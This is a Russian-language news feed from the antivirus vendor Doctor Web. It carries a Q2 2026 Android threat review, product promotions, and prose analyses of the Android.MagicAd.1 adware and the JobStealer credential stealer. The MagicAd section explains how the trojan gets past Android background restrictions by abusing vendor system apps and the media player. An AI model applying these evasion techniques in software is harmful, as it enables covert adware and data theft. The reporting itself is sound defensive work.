В течение II квартала вирусные аналитики «Доктор Веб» обнаружили в каталоге Google Play очередные вредоносные программы, подписывающие жертв на платные услуги. Среди них были представители семейств Android.Subscription и Android.Joker.

Главные тенденции II квартала

Банковские трояны Android.Banker остались самыми распространенными вредоносными программами для ОС Android.
Вирусописатели продолжили активно использовать инструменты для моддинга Android-программ, чтобы защитить банковские трояны от детектирования антивирусами.
Активность рекламных троянов Android.MobiDash и Android.HiddenAds вновь снизилась.
Обнаружен троян Android.MagicAd.1, использующий сторонние приложения для обхода ограничений ОС Android и показа рекламы в фоне.
Появились новые вредоносные программы в каталоге Google Play.

По данным Dr.Web Security Space для мобильных устройств

Android.Click.1812: Детектирование вредоносных модов мессенджера WhatsApp, которые незаметно для пользователя могут загружать различные сайты в фоновом режиме.
Android.HiddenAds.675.origin
Android.HiddenAds.4236: Троянская программа для показа навязчивой рекламы. Представители семейства Android.HiddenAds часто распространяются под видом безобидных приложений и, в некоторых случаях, устанавливаются в системный каталог другим вредоносным ПО. Попадая на Android-устройства, такие рекламные трояны обычно скрывают от пользователя свое присутствие в системе — например, «прячут» значок приложения из меню главного экрана.
Android.Banker.Mamont.80.origin: Банковский троян, который перехватывает СМС с одноразовыми кодами от кредитных организаций, содержимое уведомлений, а также собирает другую конфиденциальную информацию. Она включает технические данные о зараженном устройстве, список установленных приложений, информацию о СИМ-карте, телефонных звонках, поступивших и отправленных СМС.
Android.FakeApp.1600: Троянская программа, которая загружает указанный в ее настройках веб-сайт. Известные модификации этого вредоносного приложения загружают сайт онлайн-казино.

Program.FakeAntiVirus.1
Program.FakeAntiVirus.4
Program.FakeAntiVirus.4.origin
Program.FakeAntiVirus.5: Детектирование рекламных программ, которые имитируют работу антивирусного ПО. Такие программы могут сообщать о несуществующих угрозах и вводить пользователей в заблуждение, требуя оплатить покупку полной версии.
Program.FakeMoney.11: Детектирование приложений, якобы позволяющих зарабатывать на выполнении тех или иных действий или заданий. Эти программы имитируют начисление вознаграждений, причем для вывода «заработанных» денег требуется накопить определенную сумму. Обычно в них имеется список популярных платежных систем и банков, через которые якобы возможно вывести награды. Но даже когда пользователям удается накопить достаточную для вывода сумму, обещанные выплаты не поступают. Этой записью также детектируется другое нежелательное ПО, основанное на коде таких программ.

Tool.Obfuscator.TrashCode.1
Tool.Obfuscator.TrashCode.2: Детектирование Android-программ, в которые при помощи хакерских инструментов для моддинга приложений добавлен мусорный код. Такая модификация выполняется с целью запутывания логики программ. Эта техника часто встречается в банковских троянах и в пиратских версиях ПО.
Tool.NPMod.3
Tool.NPMod.1: Детектирование Android-приложений, модифицированных при помощи утилиты NP Manager. Эта утилита содержит модули для обфускации и защиты кода программ, а также обхода проверки их цифровой подписи после модификации. Добавляемая ей обфускация часто используется во вредоносном ПО для затруднения его детектирования и анализа.
Tool.LuckyPatcher.2.origin: Утилита, позволяющая модифицировать установленные Android-приложения (создавать для них патчи) с целью изменения логики их работы или обхода тех или иных ограничений. Например, с ее помощью пользователи могут попытаться отключить проверку root-доступа в банковских программах или получить неограниченные ресурсы в играх. Для создания патчей утилита загружает из интернета специально подготовленные скрипты, которые могут создавать и добавлять в общую базу все желающие. Функциональность таких скриптов может оказаться в том числе и вредоносной, поэтому создаваемые патчи могут представлять потенциальную опасность.

Adware.Bastion.1.origin: Детектирование программ-оптимизаторов, которые периодически создают уведомления с вводящими в заблуждение сообщениями якобы о нехватке памяти и ошибках системы с целью показывать рекламу во время «оптимизации».
Adware.Opensite.15: Приложения, выдаваемые за чит-инструменты для получения ресурсов в играх. На самом деле они созданы для демонстрации рекламы. Эти программы получают с удаленного сервера конфигурацию, в соответствии с которой загружают целевой сайт с объявлениями — баннерами, всплывающими окнами, видеороликами и т. д.
Adware.AdPush.3.origin: Рекламный модуль, который может быть интегрирован в Android-программы. Он демонстрирует рекламные уведомления, вводящие пользователей в заблуждение. Например, такие уведомления могут напоминать сообщения от операционной системы. Кроме того, этот модуль собирает ряд конфиденциальных данных, а также способен загружать другие приложения и инициировать их установку.
Adware.Fictus.1.origin: Рекламный модуль, который злоумышленники встраивают в версии-клоны популярных Android-игр и программ. Его интеграция в программы происходит при помощи специализированного упаковщика net2share. Созданные таким образом копии ПО распространяются через различные каталоги приложений, и после установки демонстрируют нежелательную рекламу.
Adware.Airpush.7.origin: Программные модули, встраиваемые в Android-приложения и демонстрирующие разнообразную рекламу. В зависимости от версии и модификации это могут быть рекламные уведомления, всплывающие окна или баннеры. С помощью данных модулей злоумышленники часто распространяют вредоносные программы, предлагая установить то или иное ПО. Кроме того, такие модули передают на удаленный сервер различную конфиденциальную информацию.

Угрозы в Google Play

В течение II квартала 2026 года вирусные аналитики компании «Доктор Веб» обнаружили в каталоге Google Play несколько новых троянских программ Android.Subscription, подписывающих пользователей на платные услуги. Они распространялись под видом разнообразного ПО: онлайн-кинотеатра ShowLounge - TV & Dramas (Android.Subscription.25), программы для геймеров AIM: Crosshair Asist (Android.Subscription.26), игры True Cargo Drive (Android.Subscription.27), утилиты Battery 3D: Charge Effects (Android.Subscription.28) и редактора изображений PixStudio - Photo Editor (Android.Subscription.29). В общей сложности они были загружены по меньшей мере 2 600 000 раз.

Примеры троянских программ Android.Subscription, выявленных в Google Play во II квартале 2026 года

Вредоносные приложения этого типа загружают веб-сайты, где при помощи технологии Wap Click пользователям подключаются платные мобильные подписки. У потенциальных жертв запрашивается номер мобильного телефона, и после его ввода выполняется попытка активации соответствующих услуг.

В Google Play вновь распространялись троянские программы Android.Joker, которые тоже подписывают жертв на платные услуги. Злоумышленники выдавали их за мессенджеры Chat Messages (Android.Joker.2625) и Easy Messages (Android.Joker.2632), а также утилиты для оптимизации работы системы Smart File Cleaner, Junk Clean Master и Fast Cleaner (Android.Joker.2614, Android.Joker.2618 и Android.Joker.2626 соответственно).

Одно из вредоносных приложений, в которых скрывались трояны семейства Android.Joker

Для защиты Android-устройств от вредоносных и нежелательных программ пользователям следует установить антивирусные продукты Dr.Web для Android.

Индикаторы компрометации

Дождались! Dr.Web CureIt! Pro выпущена и доступна бесплатно для всех

Tue, 23 Jun 2026 12:13:04 GMT

Встречайте Dr.Web CureIt! Pro — расширенную версию легендарной лечащей утилиты. Прямо сейчас вы можете получить к ней промодоступ совершенно бесплатно.

Как получить Dr.Web CureIt! Pro бесплатно

Для новых пользователей. Зайдите на сайт free.drweb.ru. Заполните стандартную форму на получение обычного Dr.Web CureIt!, и получите ссылку на скачивание Dr.Web CureIt! Pro с лицензией на 1 день.
Для действующих пользователей платной версии Dr.Web CureIt!. Зайдите в свой Личный кабинет, в нем доступен для скачивания дистрибутив Dr.Web CureIt! Pro. Загружайте и пользуйтесь без ограничений в течение всего периода действия вашей лицензии.

Напоминаем, что Pro-версия дает вам гибкие настройки проверки, управление исключениями, ручное назначение действий для угроз и расширенную статистику.

Обратите внимание! Бесплатный промодоступ на 1 день через сайт free.drweb.ru — это специальное предложение, которое позволяет оценить все преимущества Pro-версии. Предложение действует до 30 июня 2026 года включительно.

С 1 июля 2026 года будут доступны:

Классическая бесплатная версия Dr.Web CureIt! для скачивания и экстренного лечения;
Расширенная версия утилиты Dr.Web CureIt! Pro. Стоимость: 1 день — 10 рублей, 5 дней — 50 рублей, 10 дней — 100 рублей.

Остались вопросы или заметили нештатное поведение программы? Ваше мнение очень важно для нас. Пишите замечания и пожелания в специальный топик на нашем официальном форуме.

Скачайте Dr.Web CureIt! Pro уже сегодня и полностью контролируйте процесс лечения при помощи расширенных настроек!

Dr.Web CureIt! станет еще удобнее. Анонс расширенной Pro-версии

Wed, 10 Jun 2026 10:31:19 GMT

Мы проанализировали обратную связь от наших пользователей и пришли к важному выводу. В критический момент, когда компьютер заражен, не требуются сложные настройки — необходимо быстрое, легкое и надежное решение, которое запустится и вылечит систему одной кнопкой.

Поэтому мы пересмотрели принципы работы с утилитой. Классический бесплатный Dr.Web CureIt! остается с вами, но становится еще более сфокусированным на главном: просто скачайте, нажмите «Проверить» — и все. Это молниеносный надежный сканер для экстренного лечения, способный обезвредить активные угрозы и вылечить систему.

А для тех, кому нужен контроль над процессом?

Мы не стали убирать расширенные возможности. Наоборот, мы собрали их в отдельный продукт — Dr.Web CureIt! Pro — и сделали его удобнее и доступнее. Если вам нужно проверить съемный носитель, исключить папки из сканирования или настроить применение автоматических действий к обнаруженным угрозам — вы получаете гибкий, полнофункциональный сканер за минимальные деньги.

Как это будет работать

Бесплатно и просто — вы скачиваете обычный Dr.Web CureIt! и моментально запускаете экспресс-проверку. Это идеальное решение для ситуаций, когда время дорого.
Если нужно больше — на нашем сайте или прямо из бесплатной версии вы можете приобрести Dr.Web CureIt! Pro и получить доступ ко всем расширенным настройкам.

Таким образом, мы предлагаем осознанный выбор: легкость — бесплатно, максимальная гибкость — за символические 10 рублей в день или 50 рублей за 5 дней и 100 рублей за 10 дней.

Релиз Dr.Web CureIt! Pro состоится уже в начале июля. За неделю до этого мы предоставим всем пользователям бесплатный доступ ко всем возможностям Pro, чтобы вы могли оценить их прежде, чем принимать решение.

Dr.Web Mobile Security Suite (Аврора) сертифицирован ФСТЭК до 2030 года

Tue, 09 Jun 2026 12:51:47 GMT

Компания «Доктор Веб» сообщает о выпуске обновлений для ранее сертифицированного программного изделия Dr.Web Mobile Security Suite (Аврора). Сертификат соответствия ФСТЭК России № 4909 действует до февраля 2030 года.

В рамках пройденного инспекционного контроля ранее сертифицированные дистрибутивы были обновлены до последних актуальных версий.

Напоминаем пользователям сертифицированных версий, что ПО необходимо обновить до актуальной сертифицированной версии. Новые дистрибутивы доступны в Мастере скачиваний. Вы можете самостоятельно скачать сертифицированную версию только при наличии серийного номера, сгенерированного для Dr.Web Mobile Security Suite (Аврора) как для сертифицированного продукта, либо обратиться в Службу технической поддержки с запросом на обновление.

Сертифицированная версия Dr.Web Mobile Security Suite для ОС Аврора защищает мобильные устройства и планшеты, работающие на российской мобильной ОС Аврора, от всех типов вредоносных программ, обеспечивая комплексную защиту устройств, с использованием всех доступных возможностей операционной системы.
ОС Аврора используется в крупных государственных компаниях и организациях и является доверенной – это означает, что организация, сотрудники которой работают со смартфонами и планшетами под управлением ОС Аврора, обладает полным контролем над этими устройствами и хранящимися на них данными.

Напоминаем, что поставки лицензий на сертифицированные продукты Dr.Web сопровождаются полным комплектом сертификационных материалов.

По вопросам приобретения продуктов Dr.Web обращайтесь к партнерам или к специалистам Службы поддержки продаж «Доктор Веб».

Троян Android.MagicAd показывает рекламу вопреки всем ограничениям

Thu, 04 Jun 2026 16:00:00 GMT

Специалисты антивирусной лаборатории компании «Доктор Веб» обнаружили троянскую программу Android.MagicAd, которая различными способами обходит ограничения ОС Android и показывает рекламу при работе в фоне. Один из этих методов является универсальным, другие рассчитаны на устройства определенных производителей. Среди них — эксплуатация сторонних приложений, а также использование системного медиаплеера.

Android.MagicAd.1 распространялся через официальный каталог приложений для устройств Xiaomi GetApps и скрывался в более чем 50 различных играх и программах. Они появлялись в магазине на короткий срок — чаще всего до месяца, после чего пропадали, и вместо них появлялись новые. Возможно, таким образом злоумышленники пытались защитить Android.MagicAd.1 от преждевременного обнаружения, сохранив при этом его активность: после удаления из магазина троянские программы продолжают оставаться на устройствах пользователей и могут и дальше выполнять вредоносную деятельность. В настоящее время ни одно из выявленных нами приложений с Android.MagicAd.1 не доступно для загрузки в каталоге GetApps, а у распространявших их разработчиков перестали появляться новые программы с трояном.

Проведенное вирусными аналитиками «Доктор Веб» исследование показало, что первые версии Android.MagicAd.1 появились в 2025 году и помимо каталога GetApps также встречались в Samsung Galaxy Store.

Примеры игр и программ из каталога GetApps, в которых скрывался Android.MagicAd.1. На момент публикации нашей новости эти и другие модификации трояна стали недоступны для скачивания

Часть вредоносной функциональности Android.MagicAd.1 находится в dex-модулях, которые скрыты в зашифрованных нативных библиотеках в каталоге с файловыми ресурсами трояна. В процессе работы он расшифровывает эти библиотеки, извлекает из них свои компоненты и запускает.

Прежде чем приступить к демонстрации рекламы, троян выполняет ряд проверок, чтобы убедиться, что его окружение является безопасным. Например, он ищет признаки работы в виртуальной среде, проверяет, была ли его установка органической, нет ли IP-адреса зараженного устройства в его черном списке и т. д.

Если Android.MagicAd.1 не обнаруживает подозрительную активность, он скрывает свой значок из списка программ в меню главного экрана. Затем он создает канал уведомлений, через который запускает несколько вредоносных сервисов постоянного присутствия, необходимых для работы в фоновом режиме при закрытом окне вредоносного приложения. Далее через планировщик задач Android.MagicAd.1 создает задание, которое периодически перезапускает сервисы, проверяющие работу канала уведомлений и при необходимости запускающие его вновь. Кроме того, при работе на устройствах с относительно старыми версиями ОС Android троян запускает виртуальный экран, чтобы работа одного из его компонентов не прерывалась системой.

Чтобы показывать рекламу в фоновом режиме, когда его окно закрыто, Android.MagicAd.1 применяет ряд методик, выбираемых на основе производителя зараженного устройства. При этом они реализуются без явного запроса системного разрешения SYSTEM_ALERT_WINDOW, которое позволяет приложению отображаться поверх других программ.

Независимо от применяемого способа, все рекламные баннеры загружаются в виде полупрозрачной активности (Translucent Activity), что дает возможность трояну отрисовывать их поверх существующих окон.

Примеры рекламы, которую демонстрирует Android.MagicAd.1

Одна из методик реализуется через намерения (Intent), адресованные другим приложениям. Она позволяет трояну обойти ограничения современных версий ОС Android, не позволяющие программам запускать самих себя. В зависимости от модели зараженного устройства, с помощью этой техники Android.MagicAd.1 либо сам демонстрирует объявления, либо непосредственно «заставляет» целевые программы показывать баннеры с рекламой.

В одном из вариантов данного способа целью трояна являются:

браузер Mi Browser на устройствах Xiaomi;
графическая оболочка Miui SystemUI на устройствах Xiaomi;
лончер Amazon Fire TV Home Screen на устройствах Amazon TV.

Все это — системные приложения на соответствующих устройствах, поэтому они способны обрабатывать намерения, даже когда не запущены пользователем напрямую. Пока эти программы активны и могут принимать намерения, Android.MagicAd.1 может использовать их для показа объявлений.

Стоит отметить, что если Mi Browser установлен на устройстве Xiaomi не как системное приложение, троян также может использовать эту программу для демонстрации рекламы — до тех пор, пока окно браузера не будет закрыто.

Когда Android.MagicAd.1 обнаруживает Mi Browser на подходящем устройстве, он отправляет отложенное намерение для запуска рекламы своему dex-компоненту (детектируется Dr.Web как Android.MagicAd.1.origin). Тот формирует из него собственное намерение и передает браузеру, который извлекает исходное намерение и в соответствии с ним запускает рекламу.

Взаимодействие с двумя другими программами несколько отличается — они используются для вызова трояна из фонового режима. Вначале Android.MagicAd.1 отправляет модулю Android.MagicAd.1.origin отложенное намерение для запуска рекламы, и тот передает целевым программам собственное намерение для своего пробуждения. Если это приложение Miui SystemUI, оно в ответ отправляет свое намерение для запуска модуля. Если же целевой программой является Amazon Fire TV Home Screen, она запускает модуль напрямую — по имени его пакета. Получив управление, модуль Android.MagicAd.origin запускает рекламу, которая поступила ему в отложенном намерении от основного вредоносного приложения.

Если трояну не удается показать рекламу, он пытается использовать этот способ еще дважды, и в случае неудачи пытается показать рекламу напрямую, уже не задействуя отложенные намерения и свой вредоносный dex-модуль.

Другая вариация этого способа похожа на предыдущую и применяется для эксплуатации программ на устройствах Vivo. Она отличается тем, что запуск рекламы происходит при помощи Android Binder — системного компонента, обеспечивающего взаимодействие между процессами. В данном случае троян нацелен на следующие системные программы:

iManager,
Телефонная книга,
Vivo Browser,
Baidu IME Customized.

Android.MagicAd.1 запускает их через Android Binder, отправляя ему обычные намерения через контейнер данных Parcel. Эти программы затем запускают троянский компонент Android.MagicAd.origin, который после выхода из фонового режима показывает рекламу.

В Android.MagicAd.1 также предусмотрено несколько других методик для демонстрации рекламы при работе в фоне, среди них — использование медиаплеера. В отличие от способов, нацеленных на определенные устройства, этот метод является универсальным и работает на большинстве моделей от различных производителей. Android.MagicAd.1 расшифровывает из своего тела аудиофайл и сохраняет его в рабочую директорию. Затем вредоносная программа запускает свой экземпляр системного медиаплеера, задает в нем минимальную громкость и связывает его с глобальной системой управления мультимедиа ОС Android. Далее для запуска рекламы Android.MagicAd.1 устанавливает широковещательный приемник, отслеживающий нажатия в этом плеере. Затем троян при помощи специальной adb-команды имитирует действия пользователя, нажимая в плеере кнопку записи, после чего сразу же закрывает его окно. Нажатие кнопки приводит к срабатыванию системного медиаприемника, который позволяет Android.MagicAd.1 перехватить управление и запустить рекламу.

Dr.Web Security Space для мобильных устройств надежно детектирует и удаляет все известные версии вредоносной программы Android.MagicAd.1, поэтому для наших пользователей она опасности не представляет.

Индикаторы компрометации

Подробнее об Android.MagicAd.1

Подробнее об Android.MagicAd.1.origin

Получены сертификаты соответствия ФСБ России на продукты Dr.Web Mobile Security Suite и Dr.Web Katana

Wed, 27 May 2026 14:06:42 GMT

Компания «Доктор Веб» сообщает, что получены новые сертификаты соответствия ФСБ России на программные продукты Dr.Web Mobile Security Suite и Dr.Web Katana.

Рекомендуем пользователям сертифицированных версий обновить ПО после истечения срока действия сертификата.

Подробнее о продуктах

Dr.Web Mobile Security Suite для ОС Android:

версия 12.9,
сертификат соответствия № СФ/СЗИ-0888,
срок действия: 15.05.2026 — 01.05.2031,
средство антивирусной защиты Класса В2 в соответствии с документом «Требования к программным антивирусным средствам, используемым в средствах вычислительной техники, эксплуатируемых в органах федеральной службы безопасности», может использоваться для защиты информации, в том числе содержащей сведения, составляющие государственную тайну,
предназначено для защиты мобильных устройств, работающих под управлением операционной системы ОС Android, а также телевизоров, медиапроигрывателей и игровых консолей, работающих на платформе Android TV, от вирусных угроз, созданных специально для этих устройств.

Dr.Web Katana:

версия 2.0,
сертификат соответствия ФСБ России № СФ/СЗИ-0887,
срок действия: 15.05.2026 — 01.05.2031,
средство антивирусной защиты Класса Д в соответствии с документом «Требования к программным антивирусным средствам, используемым в средствах вычислительной техники, эксплуатируемых в органах федеральной службы безопасности», может использоваться для защиты информации, в том числе содержащей сведения, составляющие государственную тайну,
защищает систему от компьютерных угроз с помощью несигнатурных методов: анализирует поведение процессов, использует облачные технологии обнаружения угроз и предустановленные правила.

По вопросам обновления ПО или приобретения продуктов Dr.Web обращайтесь к партнерам или к специалистам Службы поддержки продаж «Доктор Веб».

Изменение сроков поддержки продуктов Dr.Web

Tue, 26 May 2026 14:03:15 GMT

В соответствии с политикой жизненного цикла продлены сроки поддержки ряда продуктов Dr.Web.

Центр управления Dr.Web Enterprise Security Suite, версия 13.0
Dr.Web Industrial, версия 13.0

В составе Dr.Web Desktop Security Suite:

Dr.Web 12.0 для рабочих станций Windows
Dr.Web 12.0 для рабочих станций macOS
Dr.Web 11.1 для рабочих станций Linux
Dr.Web Katana Business Edition 1.0

В составе Dr.Web Server Security Suite:

Dr.Web 12.0 для серверов Windows
Dr.Web 11.1 для серверов UNIX
Dr.Web 12.0 для серверов macOS

В составе Dr.Web Mail Security Suite:

Dr.Web 11.1 для почтовых серверов UNIX
Dr.Web 12.0 для Microsoft Exchange Server

В составе Dr.Web Gateway Security Suite:

Dr.Web 11.1 для интернет-шлюзов UNIX

В составе Dr.Web Mobile Security Suite:

Dr.Web 12.0 для мобильных устройств Android
Dr.Web 3.0 для мобильных устройств Аврора

Обновлённая информация о сроках поддержки доступна на странице жизненного цикла продуктов.

Вместо работы — украденные данные и деньги. В поддельных приложениях для онлайн-собеседований скрывается троян-стилер, который атакует пользователей macOS и Windows

Thu, 07 May 2026 20:00:00 GMT

Эксперты «Доктор Веб» предупреждают о распространении троянской программы JobStealer, похищающей конфиденциальную информацию у пользователей компьютеров под управлением macOS и Windows. В первую очередь она нацелена на кражу данных из криптокошельков. Мошенники под предлогом проведения онлайн-собеседований заманивают потенциальных жертв на вредоносные сайты, где предлагают установить приложение для видеоконференций. В действительности это ПО — и есть троян JobStealer.

Атака начинается с того, что злоумышленники связываются с потенциальными жертвами и предлагают им ту или иную вакансию. Они приглашают пользователей пройти собеседование и предоставляют им ссылки на сайты «платформ» для проведения онлайн-встреч — якобы для подключения к видеоконференции. Эти сайты имеют презентабельный вид, но на самом деле являются мошенническими. С них под видом программы для онлайн-конференций скачивается вредоносная программа JobStealer. При этом киберпреступники используют различное оформление таких интернет-ресурсов, а также меняют имена самой программы. Наши специалисты встречали варианты с названиями MeetLab, Juseo, Meetix, Carolla и другие. В ряде случаев киберпреступники используют названия настоящих сервисов, таких как Webex.

Примеры сайтов поддельных сервисов онлайн-конференций, с которых скачивается JobStealer

Чтобы пользователи поверили, что платформы являются полноценно функционирующими, мошенники создают соответствующие телеграм-каналы и аккаунты в социальных сетях — например, X.

Для маскировки трояна под легитимное ПО злоумышленники создают видимость активности в социальных сетях

Для установки программы на устройства с macOS посетителям вредоносных сайтов предлагается две опции:

скопировать и выполнить в терминале bash-команду, указанную на сайте;
скачать файл образа диска в формате .dmg и запустить его.

Троян JobStealer скачивается с вредоносных сайтов как в виде dmg-контейнера, так и через выполнение bash-команды в терминале

В первом случае при выполнении команды в терминале из интернета автоматически загружается и исполняется скрипт, который скачивает и запускает исполняемый файл JobStealer (детектируется как Mac.PWS.JobStealer.1).

Во втором случае предлагаемый к загрузке dmg-образ изначально содержит указанные выше файлы. При монтировании он демонстрирует инструкцию по «установке» приложения. В ней указано, что пользователю необходимо открыть терминал и перетащить в его окно прилагаемый скрипт. На самом деле вместо установки ПО для видеоконференций скрипт запустит троянский файл.

Изображение с инструкцией, которое демонстрируется при открытии файла образа с трояном JobStealer

Mac.PWS.JobStealer.1 представляет собой исполняемый файл-контейнер в формате Fat Mach-O и содержит двоичный код сразу для нескольких процессорных архитектур — x64 и arm64. В зависимости от платформы зараженного компьютера при запуске трояна автоматически задействуется компонент, соответствующий целевому процессору.

Отметим, что существуют различные версии Mac.PWS.JobStealer.1. Более ранние варианты вредоносного приложения не поддерживали работу на компьютерах Mac с архитектурой arm64. В них также отсутствовала обфускация — ее вирусописатели начали добавлять и усиливать по мере обновления стилера.

После запуска Mac.PWS.JobStealer.1 демонстрирует фишинговое окно, где сообщает о якобы возникшей ошибке в работе. Для ее «исправления» вредоносная программа просит пользователя указать пароль от его учетной записи.

Фишинговое окно, в котором запрашивается пароль от учетной записи пользователя Mac

Далее Mac.PWS.JobStealer.1 собирает следующие данные:

версию операционной системы и идентификатор компьютера;
данные порядка 300 браузерных расширений-криптокошельков, установленных в целевых браузерах на базе Chomium (Chrome, Opera, Brave, OperaGX, Vivaldi, Edge, Arc, CocCoc);
файлы cookie из этих браузеров;
пароли, а также данные банковских карт, сохраненные в браузерных списках автозаполнения форм;
файлы мессенджера Телеграм из директорий /Library/Application Support/Telegram Desktop/tdata и /Documents/temp_data/Apps/Telegram, где хранятся сессионные ключи авторизации, загружаемые файлы и т. п.;
пользовательские заметки из нативного для macOS приложения Notes;
наличие в системе приложений криптокошельков Ledger Live и Trezor Suite.

Эти данные помещаются в ZIP-архив и загружаются на C2-сервер.

Вирусописатели также подготовили версию трояна JobStealer и для компьютеров под управлением ОС Windows. Его функциональность аналогична версии для macOS. Кроме того, на некоторых вредоносных сайтах, распространяющих стилера, предусмотрены разделы для загрузки приложения на другие популярные операционные системы. Однако на данный момент наши вирусные аналитики не зафиксировали их распространение. Например, кнопка загрузки программы для ОС Linux либо неактивна, либо ведет на Windows-версию трояна. А в разделах для скачивания программы для устройств на базе iOS и Android говорится, что эти версии находятся в разработке. При этом нельзя исключать, что злоумышленники в дальнейшем начнут распространять варианты трояна и для данных платформ.

Вредоносные сайты потенциально могут распространять версии трояна JobStealer для Linux, iOS и Android

Все известные модификации вредоносного приложения JobStealer надежно детектируются и удаляются антивирусными продуктами Dr.Web Security Space для macOS и Windows и не представляют угрозы для наших пользователей. Распространяющие трояна мошеннические сайты добавлены в базу нерекомендуемых и опасных ресурсов и также блокируются Dr.Web.

MITRE ATT&CK®

Мы проанализировали вредоносную программу JobStealer по фреймворку MITRE ATT&CK®, который представляет собой матрицу с описанием тактик и техник киберпреступников, атакующих информационные системы. В результате были выявлены следующие ключевые техники:

Этап	Техника
Выполнение	Выполнение с участием пользователя (T1204) Вредоносное копирование и вставка (T1204.004) Вредоносный файл (T1204.002)
Обнаружение	Обнаружение файлов и каталогов (T1083)
Сбор данных	Автоматизированный сбор (T1119) Данные из локальной системы (T1005) Учетные данные из хранилищ паролей (T1555) Связка ключей (T1555.001) Учетные данные из браузеров (T1555.003) Перехват вводимых данных (T1056) Перехват ввода в графическом интерфейсе (T1056.002) Архивация собранных данных (T1560)
Организация управления	Веб-служба (T1102)
Эксфильтрация данных	Автоматизированная эксфильтрация (T1020) Эксфильтрация по каналу управления (T1041) Эксфильтрация через веб-службу (T1567)

Подробнее о Mac.PWS.JobStealer.1

Индикаторы компрометации

Скидка 22%: специальная акция в честь дня рождения Dr.Web

Mon, 20 Apr 2026 16:39:08 GMT

22 апреля — знаменательная дата в истории информационной безопасности. В этот день мы празднуем двойной День Рождения: антивируса Dr.Web и его создателя, Игоря Данилова. 34 года назад был создан антивирус Dr.Web, который сегодня надежно защищает миллионы компьютеров, серверов, терминалов, смартфонов и других устройств по всему миру.

В честь этого праздника, мы запустили специальную акцию — скидку 22% на двухлетние лицензии Dr.Web. Условия праздничного предложения:

вы можете защитить свои персональные компьютеры и смартфоны с помощью Dr.Web Security Space и Dr.Web Security Space для мобильных устройств,
возможно приобрести лицензию на 1— 5 устройств,
срок действия акции: с 20 по 27 апреля.

Успейте воспользоваться выгодным предложением и забыть о киберугрозах на целых 2 года!
Купить со скидкой

Антироссийский призыв в консоли разработчика вместе с обновлением Microsoft Visual Studio Code

Fri, 17 Apr 2026 15:44:22 GMT

«Доктор Веб» сообщает, что при установке новой версии популярного редактора кода Microsoft Visual Studio Code (MS VS Code) Dr.Web детектирует вредоносный JS файл внутри. Данный вредоносный код был добавлен в javascript-библиотеку "es5-ext" еще в 2022 году и до сих пор в ней содержится.

Что делает вредоносный JS-файл

Вредоносный файл демонстрирует в консоли разработчика призыв с антироссийской позицией касательно СВО:

Данный вредоносный скрипт запускается при соответствии условия часового пояса российских городов. Их полный список можно увидеть на скриншоте: среди них Анадырь, Барнаул, Калининград, Самара и многие другие.

Чем опасен данный код и почему мы его детектируем

Разработчик пакета es5-ext добавил в код вывод всплывающего сообщения в консоль при определенных условиях. Специалисты «Доктор Веб» классифицируют данное поведение как злонамеренную вставку вредоносного кода, не имеющего никакого отношения к функционалу библиотеки, направленную против части пользователей на основе региональной принадлежности, что является достаточным основанием для детектирования.

На данный момент код выполняет только агитационную функцию, но разработчик в любой момент может заменить данный код и наделить его другими функциями: например, с помощью него он сможет удалить все ваши данные с компьютера. Такие случаи в нашей практике уже фиксировались.

Несмотря на то, что о наличии данного кода в библиотеке профессиональному сообществу известно давно, компания Microsoft инкорпорировала этот пакет в свое программное обеспечение в качестве зависимости.

Последствия для пользователей

В результате этого решения все пользователи, обновляющие MS VS Code автоматически, получают вместе с обновлением и «малварный» пакет. Срабатывание антивируса происходит именно в момент загрузки или распаковки обновления, содержащего скомпрометированную библиотеку.

Игорь Здобнов, руководитель антивирусной лаборатории «Доктор Веб»:
Мотивы, по которым Microsoft включила в зависимость заведомо сомнительный пакет, нам неведомы. Мы рекомендуем пользователям обратить внимание на срабатывания антивируса и, при необходимости, временно приостановить автоматическое обновление до выяснения обстоятельств со стороны разработчика.

«Доктор Веб» настоятельно рекомендует пользователям проверять все загружаемые обновления и обращать внимание на предупреждения антивирусного программного обеспечения. Последняя версия MS VS Code, где нет указанной проблемы — 1.115.

Старт акции «Вместе выгоднее!»

Thu, 02 Apr 2026 12:59:43 GMT

Компания «Доктор Веб» объявляет о старте акции «Вместе выгоднее!». Вы можете защитить свои компьютеры и мобильные устройства со скидкой до 10%.

Сегодня злоумышленники атакуют любые устройства: от ноутбуков и смартфонов до устройств умного дома. Фишинговые письма, вредоносный код в поддельных мобильных приложениях, поэтому защита необходима всем гаджетам.

Предложение распространяется на решения Dr.Web Security Space и Dr.Web Security Space для мобильных устройств: вы выбираете удобную комбинацию устройств и подходящий срок действия лицензии.
Например, защита одного ноутбука и двух мобильных устройств на год обойдется всего в 2 315,15 рублей.

Срок действия акции — до 30 июня 2026 года включительно.
Перейти к акции

«Доктор Веб»: обзор вирусной активности для мобильных устройств в I квартале 2026 года

Wed, 01 Apr 2026 00:00:00 GMT

Скачать PDF

1 апреля 2026 года

Согласно данным статистики детектирований Dr.Web Security Space для мобильных устройств, в I квартале 2026 года продолжилось снижение активности вредоносных программ Android.MobiDash и Android.HiddenAds, демонстрирующих надоедливую рекламу. Первые обнаруживались на защищаемых устройствах на 32,70%, а вторые — на 7,09% реже по сравнению с IV кварталом минувшего года. Они уступили лидерство банковским троянам семейства Android.Banker, активность которых за последние 3 месяца увеличилась более чем в 2,5 раза. В результате те стали самыми распространенными Android-угрозами. Такие вредоносные приложения перехватывают СМС с кодами подтверждения банковских операций, демонстрируют фишинговые окна, а также могут имитировать внешний вид настоящего банковского ПО для кражи конфиденциальных данных. Пользователи чаще всего сталкивались с троянами подсемейства Android.Banker.Mamont, куда входят разнообразные вредоносные программы.

Широкое распространение (15,35% от общего числа детектирований) в I квартале получили приложения, в которые при помощи хакерских инструментов для моддинга NP Manager добавлен мусорный код с целью запутывания логики. C осени прошлого года эти инструменты активно используются в троянах семейства Android.Banker.Mamont для противодействия обнаружению антивирусами, поэтому мы предупреждаем о том, что то или иное приложение было модифицировано. Подобные программы антивирусные продукты Dr.Web детектируют как Tool.Obfuscator.TrashCode.

Другим распространенным потенциально опасным ПО, несмотря на снижение числа детектирований на 31,65%, вновь стали программы, модифицированные при помощи утилиты NP Manager (детектируются Dr.Web как Tool.NPMod). Данная утилита содержит различные модули для защиты и обфускации кода программ, а также обхода проверки их цифровой подписи после модификации. Киберпреступники используют ее для защиты вредоносного ПО с целью затруднить его обнаружение антивирусами.

